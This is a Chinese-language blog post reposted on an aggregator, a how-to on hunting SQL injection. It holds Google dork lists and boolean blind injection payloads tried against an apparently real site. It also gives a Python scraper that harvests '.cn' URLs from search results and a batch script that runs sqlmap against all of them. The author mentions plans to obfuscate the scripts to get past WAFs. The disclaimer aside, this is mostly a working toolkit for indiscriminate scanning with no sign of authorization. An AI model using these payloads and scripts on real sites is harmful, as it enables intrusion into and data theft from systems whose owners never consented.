【WEB安全】SQL注入挖掘

这篇具有很好参考价值的文章主要介绍了【WEB安全】SQL注入挖掘。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感信息,修改数据,甚至删除整个数据库。

为了防范SQL注入攻击,开发人员应该使用参数化查询或存储过程,并对用户输入进行严格的验证和过滤。这样可以确保用户输入不会被作为恶意代码注入到数据库中。

一、sql注入的分类

  1. 数字型注入:使用数字代替字符串来绕过数据验证。
  2. 字符型注入:使用字符串作为SQL语句的一部分来构造恶意代码。
  3. 时间型注入:使用时间数据类型作为SQL语句的一部分来构造恶意代码。
  4. UNION型注入:使用UNION操作符来合并多个查询的结果。
  5. 报错型注入:通过诱导数据库产生错误来获取数据。
  6. 基于盲注的注入:通过查询询问数据库中的数据来获取敏感信息。

注入漏洞存在位置

  • 用户输入的表单:Web应用程序中经常使用表单来收集用户的输入数据,如用户名、密码、搜索关键字等。如果应用程序没有正确验证和过滤用户输入数据,攻击者就可以在输入框中注入恶意的SQL语句,从而绕过应用程序的访问控制和数据过滤机制,对应用程序进行攻击。

  • URL参数:Web应用程序也经常从URL中获取参数,例如搜索查询、页面过滤等。如果应用程序没有正确验证和过滤URL参数,攻击者就可以修改URL参数中的值,构造恶意的SQL语句进行攻击。

  • Cookie数据:Web应用程序有时会将数据存储在用户的Cookie中,如果攻击者可以修改这些Cookie数据,就可以通过注入恶意的SQL语句来攻击应用程序。

  • 隐藏表单:Web应用程序中有些表单是隐藏的,用户无法直接访问或编辑,但攻击者可以通过特殊的手段修改这些隐藏表单的值,从而构造恶意的SQL语句进行攻击。

  • HTTP请求头:某些Web应用程序也会从HTTP请求头中获取参数,如用户代理、IP地址等。如果应用程序没有正确验证和过滤这些参数,攻击者就可以构造恶意的SQL语句进行攻击。

事例:登录位置
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
表单反馈位置:
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
搜索框位置
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
留言板等
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
参数传递:
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入

二、漏洞挖掘

Google语法

后面跟任意值

inurl:php?id=
inurl:asp?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:product.php?id=
inurl:category.php?id=
inurl:detail.php?id=
inurl:download.php?id=
inurl:gallery.php?id=
inurl:login.php?user=

更多规则:https://www.buzztouch.com/applications020113/JA56066181BD8600604F8D687/documents/customHTML_D6743F2710E179C07158D34.html
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入

疑似注入点手工挖掘

fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
加个单引号试一下
发现报错,这是一个典型的布尔盲注
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
通过order by 判断为21列
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入

判断数据库名的长度
22’ and length(database())>6
22’ and length(database())>7 时报错说明数据库名有6个字符

fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入

id=22' and mid(database(),1,1)='a' --+
id=22' and mid(database(),1,1)='h' --+当为h时为正常显示说明数据库的第一个字母为h

fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
布尔盲注建议使用工具进行测试,手工太慢,这里我们使用sqlmap工具进行下一步查询

fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
跑出来发现是和我们手工注入一样的结果,字段为21个数据库名以h开头的,到此为止不在进行利用。

批量挖取此类漏洞

使用脚本批量爬取可疑url进行测试
注意:此爬虫一个规则只能爬取100条数据,并对不规则数据进行去除。

import re
import requests
from bs4 import BeautifulSoup
import urllib3

urllib3.disable_warnings()

USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0"
site = ".cn"
queries = []
with open("queries.txt", "r") as f:
    queries = [query.strip() for query in f.readlines()]

num = 100
results = []
for query in queries:
    query = query.replace(' ', '+')
    URL = f"https://google.com/search?q={query}&num={num}"

    headers = {"user-agent": USER_AGENT}
    resp = requests.get(URL, headers=headers, verify=False)

    if resp.status_code == 200:
        soup = BeautifulSoup(resp.content, "html.parser")

        for g in soup.find_all('div'):
            anchors = g.find_all('a')
            if anchors:
                for anchor in anchors:
                    try:
                        link = anchor.get('href')
                        if re.match(r'^/url\?q=', link):
                            link = re.sub(r'^/url\?q=', '', link)
                            link = re.sub(r'&sa=.*', '', link)
                        if link and link.find('search?q') == -1 and link.find('google.com') == -1:
                            if link.startswith("http://") or link.startswith("https://"):
                                if link not in results:
                                    results.append(link)
                    except:
                        pass

with open("urls.txt", "w") as f:
    for result in results:
        f.write(result + "\n")

使用方法:创建queries.txt存放规则
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
执行python程序即可爬取,爬取完成会生成url.txt文件。

使用sqlmap的批量脚本进行测试

import os
import sys
import argparse
import time

def main():
    # 创建一个命令行参数解析器
    parser = argparse.ArgumentParser(description="批量扫描 SQL 注入漏洞")

    # 添加参数
    parser.add_argument('-i', '--input', required=True, help="包含要扫描的URL的文件路径")
    parser.add_argument('-o', '--output', default='output.txt', help="保存扫描结果的文件路径")
    parser.add_argument('-p', '--params', default='id', help="指定需要测试的参数名,多个参数用逗号分隔")
    parser.add_argument('-t', '--threads', default='10', help="同时进行扫描的线程数")

    # 解析参数
    args = parser.parse_args()

    # 读取要扫描的URL列表
    with open(args.input, 'r') as f:
        urls = f.readlines()

    # 遍历URL列表,对每个URL进行扫描
    for url in urls:
        url = url.strip()
        if not url.startswith('http'):
            url = 'http://' + url
        cmd = 'sqlmap -u "{}" -p "{}" --threads {} --batch -o -f -m "{}" > {} 2>&1 &'.format(url, args.params, args.threads, args.output, args.output)


        # 执行扫描命令
        os.system(cmd)
        # 等待一段时间,确保扫描结果已经写入到文件中
        time.sleep(10)

    # 输出有漏洞的URL
    with open(args.output, 'r') as f:
        lines = f.readlines()
        for line in lines:
            if '[*]' in line and 'GET' in line:
                start = line.index('\'') + 1
                end = line.index('\'', start)
                print(line[start:end])

if __name__ == '__main__':
    main()
使用说明:
-i:URl列表
-p:参数多个参数用逗号隔开
-t:为线程数
-o:结果输出文件
python sqlmap_scan.py -i urls.txt -p id,name -t 5 -o results.txt

已知sql注入漏洞挖掘

在漏洞库中有许多已经公开的sql注入漏洞,可通过fofa、shodan、钟馗之眼等查找
自建漏洞库(镜像站):
http://peiqi.19xinan.cn/#/
http://0sec.19xinan.cn/#/
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
根据poc测试:
fofa找sql注入,OWASP TOP10,sql,web安全,数据库,sql注入
很容易发现漏洞,当然可以给漏洞写批量脚本进行批量挖掘。

总结

在挖掘的过程中学习漏洞产生的原因,复现和寻找源码中的漏洞进行提高自己水平,现在的sql注入漏洞已经改善不少随着网络安全的发展现在很多公司有waf防火墙,下一步计划加强上面的脚本加上代码混淆尝试绕过一些防火墙。

免责声明:

本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。

本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。

本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。

本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。

最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。文章来源地址https://www.toymoban.com/news/detail-646437.html

到了这里,关于【WEB安全】SQL注入挖掘的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全:SQL注入漏洞测试.

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月05日
    浏览(56)
  • Web安全-SQL注入常用函数(二)

    ★★实战前置声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库: 以下内

    2024年01月19日
    浏览(53)
  • Web安全之SQL注入绕过技巧

    两个空格代替一个空格,用Tab代替空格,%a0=空格:   最基本的绕过方法,用注释替换空格: 使用浮点数: 如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两

    2024年02月07日
    浏览(44)
  • web安全漏洞-SQL注入攻击实验

    实验目的 学习sql显注的漏洞判断原理 掌握sqlmap工具的使用 分析SQL注入漏洞的成因 实验工具 sqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6种SQL注入手段。 实验内容 SQL注入(SQL I

    2024年02月06日
    浏览(56)
  • 加强Web应用程序安全:防止SQL注入

    数据库在Web应用程序中存储和组织数据时起着至关重要的作用,它是存储用户信息、内容和其他应用程序数据的中央存储库。而数据库实现了高效的数据检索、操作和管理,使Web应用程序能够向用户提供动态和个性化的内容。然而,数据库和网络应用程序之间的通信不畅可能

    2024年02月14日
    浏览(44)
  • Owasp Top10 漏洞解析 之注入

    一、注入漏洞是什么? 注入漏洞,即将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命今或访问数据。 几乎任何数据源都能成为注

    2024年02月04日
    浏览(41)
  • Web安全:SQL注入漏洞测试(防止 黑客利用此漏洞.)

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月13日
    浏览(40)
  • Web安全 SQL注入漏洞测试.(可以 防止恶意用户利用漏洞)

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2023年04月20日
    浏览(51)
  • 常见web安全漏洞-暴力破解,xss,SQL注入,csrf

    1,暴力破解 原理:         使用大量的认证信息在认证接口进行登录认证,知道正确为止。为提高效率一般使用带有字典的工具自动化操作         基于表单的暴力破解 --- 若用户没有安全认证,直接进行抓包破解。 验证码绕过                           on s

    2023年04月12日
    浏览(53)
  • WEB安全-SQL注入,CSRF跨站伪造,OXX跨站脚本

      目录 SQL 注入攻击 字符串型 数字型 参数化型 盲注型 python解决SQL注入 CSRF 跨站伪造攻击 Django防止CSRF手段 CSRF攻击只会在表单上吗?   XSS 跨站脚本攻击 其他攻击         SQL 注入是一种网络攻击手段,攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码,试图 访

    2024年02月14日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包